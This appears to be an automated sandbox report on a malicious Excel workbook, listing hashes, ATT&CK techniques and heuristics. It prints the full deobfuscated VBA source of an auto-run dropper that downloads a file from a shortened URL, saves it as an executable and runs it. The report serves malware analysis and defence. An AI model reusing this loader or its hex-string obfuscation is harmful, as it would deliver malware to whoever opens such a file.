Office (OOXML) malware analysis — malicious · 20fa9dbc8b62b9c3

MALICIOUS

Office (OOXML)

947.7 KB Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07

MD5: 5e2a561e639c8302180970c822bd74fa SHA-1: e1b344092dead9684df2d1ad572ff70e27e2434d SHA-256: 20fa9dbc8b62b9c3cc2d6ff8e3df21b4926c537fc8fb86db082f44d5549586ff

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads a file via HTTP and saves it to disk. The Workbook_Open event is triggered, and the obfuscated loader uses CreateObject to instantiate an object, likely for executing the downloaded payload. The reconstructed URL from the embedded hex data is http://cutt.ly/gdvAeuui, which is the primary indicator of compromise.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb.write jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 4

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6551 bytes
SHA-256: `f38d44364f65f551c8bda241e04d6335a3478ef0c3ece90608262076336780ff`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select wqmgdyyovznwmdkgyuvqoqotqlvvszhejrpfwvzpjspdioafsffrddifbspsccwwsimuoejdvghvalkbkqdmtpbfjjedfhmgvskz"68 74 74 70 3A 2F 2F 63 75 74 74 2E 6C 79 2F 67 64 76 41 65 75 69" Selection.Font.ColorIndex = 3 End Sub Public Sub wqmgdyyovznwmdkgyuvqoqotqlvvszhejrpfwvzpjspdioafsffrddifbspsccwwsimuoejdvghvalkbkqdmtpbfjjedfhmgvskz (qnuyqcwpllxdlbzhyxaroglvpseytydqijkjnjnmdnsyxfykhkmolnwkcyjyyxwmhhvbqpuoknnbomykttqimofvmahoapnfqfrp As String) Dim jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq Range("A6:J13").Select Dim zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb Range("A6:J13").Select Dim khnuvikoebpxyqqxtpafkhfttzrcorhojwgxlecyukhpwdpjazpfyjrdcubwqhzmtaobktlomblazpwqjhcobcqzecurdghmkvww Range("A6:J13").Select Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set khnuvikoebpxyqqxtpafkhfttzrcorhojwgxlecyukhpwdpjazpfyjrdcubwqhzmtaobktlomblazpwqjhcobcqzecurdghmkvww = CreateObject(cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) mkyjaiwqiutglnoqgezlgabdfwwfdxpfotsucetygpjjnclpxtxwmehljudemrmkenssvtnclafqqrpdkghkzssklglhapmodzfz = cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb(qnuyqcwpllxdlbzhyxaroglvpseytydqijkjnjnmdnsyxfykhkmolnwkcyjyyxwmhhvbqpuoknnbomykttqimofvmahoapnfqfrp) jstefvllzrusfatfkckluhgoifcvoqnrmptrmdfegglumtczvgeaotebmewzspxiecfphbshxgeowmcocdzimmdslrfhgfmrjcpj = cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 67 6D 70 68 73 76 76 6D 6E 2e 65 78 65") nnrunxdhpqfzchxpppvrzndqvkastneuwtbolfupivdumffzhxbugykzjbycwlobmldifidkugidkjdqeakwmknyjbejhrsxhbib = cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 67 6D 70 68 73 76 76 6D 6E 2e 65 78 65") jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq.Open chr(71) + chr(69) + chr(84), mkyjaiwqiutglnoqgezlgabdfwwfdxpfotsucetygpjjnclpxtxwmehljudemrmkenssvtnclafqqrpdkghkzssklglhapmodzfz, False jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq.send zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb.Type = 1 zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb.Open zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb.write jxtrqxexzvwpayeegoasczpqhfouaikiviawzzrokiwresnbkjycfynkidkkjjxqkotsyiehwliudxlosmjqkicxuqowohfakfgq.responseBody zudceqgtqtgksvswzgfclvyhuitoghjxqvpxjhmubihakdetpiaezeedwvhvxsnikitwfunstladoyxqezzxheymrmbnarxjvzpb.savetofile jstefvllzrusfatfkckluhgoifcvoqnrmptrmdfegglumtczvgeaotebmewzspxiecfphbshxgeowmcocdzimmdslrfhgfmrjcpj, 2 khnuvikoebpxyqqxtpafkhfttzrcorhojwgxlecyukhpwdpjazpfyjrdcubwqhzmtaobktlomblazpwqjhcobcqzecurdghmkvww.Run nnrunxdhpqfzchxpppvrzndqvkastneuwtbolfupivdumffzhxbugykzjbycwlobmldifidkugidkjdqeakwmknyjbejhrsxhbib End Sub Public Function cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb(ByVal onygoaswyremxkmifkkrjpxhytlgtzpdsabwjvaajtbnyiusuzgzkfmzqqiupmcybatwiqzjkjhqojjqztmusptnncfsnglxrcly As String) As String Dim oxjezwpaxwkhhruvzhgmggjfkhwdykylxkccjivvasprsxkvlqxjvzrhodtralcmxzkwpslrlllorsnmxasinpqxtuogpeuopcts As String Dim nngtefxkodqvpgtztuzijmdvefchqxyoyuzjuzehrfjpesqjkuvvdljajkoydqtqecxugjfuqrqddormptwvcdlnlyajkfebmslc As String Dim uvcbpbelvgxvtcikuxoaqjjijvjknorkcoruqvgbyzseaepixthoeklkltruruygomsekotzrncrrehefbnthdgsdgixdmjeblqo As Long For uvcbpbelvgxvtcikuxoaqjjijvjknorkcoruqvgbyzseaepixthoeklkltruruygomsekotzrncrrehefbnthdgsdgixdmjeblqo = 1 To Len(onygoaswyremxkmifkkrjpxhytlgtzpdsabwjvaajtbnyiusuzgzkfmzqqiupmcybatwiqzjkjhqojjqztmusptnncfsnglxrcly)Step 3 oxjezwpaxwkhhruvzhgmggjfkhwdykylxkccjivvasprsxkvlqxjvzrhodtralcmxzkwpslrlllorsnmxasinpqxtuogpeuopcts = Chr$(Val("&H" & Mid$(onygoaswyremxkmifkkrjpxhytlgtzpdsabwjvaajtbnyiusuzgzkfmzqqiupmcybatwiqzjkjhqojjqztmusptnncfsnglxrcly, uvcbpbelvgxvtcikuxoaqjjijvjknorkcoruqvgbyzseaepixthoeklkltruruygomsekotzrncrrehefbnthdgsdgixdmjeblqo, 2))) nngtefxkodqvpgtztuzijmdvefchqxyoyuzjuzehrfjpesqjkuvvdljajkoydqtqecxugjfuqrqddormptwvcdlnlyajkfebmslc = nngtefxkodqvpgtztuzijmdvefchqxyoyuzjuzehrfjpesqjkuvvdljajkoydqtqecxugjfuqrqddormptwvcdlnlyajkfebmslc & oxjezwpaxwkhhruvzhgmggjfkhwdykylxkccjivvasprsxkvlqxjvzrhodtralcmxzkwpslrlllorsnmxasinpqxtuogpeuopcts Next uvcbpbelvgxvtcikuxoaqjjijvjknorkcoruqvgbyzseaepixthoeklkltruruygomsekotzrncrrehefbnthdgsdgixdmjeblqo cgqovbwxwmfqhnhlzjddhhkeafyntbziakzdzorrsejwenvrzb = nngtefxkodqvpgtztuzijmdvefchqxyoyuzjuzehrfjpesqjkuvvdljajkoydqtqecxugjfuqrqddormptwvcdlnlyajkfebmslc End Function Attribute VB_Name = "cxtztqzapgpaxixvbrpbxeyed" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7168 bytes
SHA-256: `57c32137db7f15409c8ce0cbc2828965bafd0811fdb440daf79ee7ef54d88404`
Detection ClamAV: No threats found Obfuscation or payload: likely 130 of 210 identifiers look randomly generated (e.g. 'cxtztqzapgpaxixvbrpbxeyed') — consistent with name-mangling obfuscation.
`emf_00.emf`	ooxml-emf	OOXML EMF part: xl/media/image1.emf	6401592 bytes
SHA-256: `070a3612943475817094d84ee38f441b9e6d7c5dc1698aea401a659b4a7864e0`
`emf_01.emf`	ooxml-emf	OOXML EMF part: xl/media/image2.emf	1503176 bytes
SHA-256: `a078f367c58271be099976ac95a3491306fc26fbc7a82004853218e34655d5e6`

Open this report in the interactive analyzer, or submit your own file for analysis.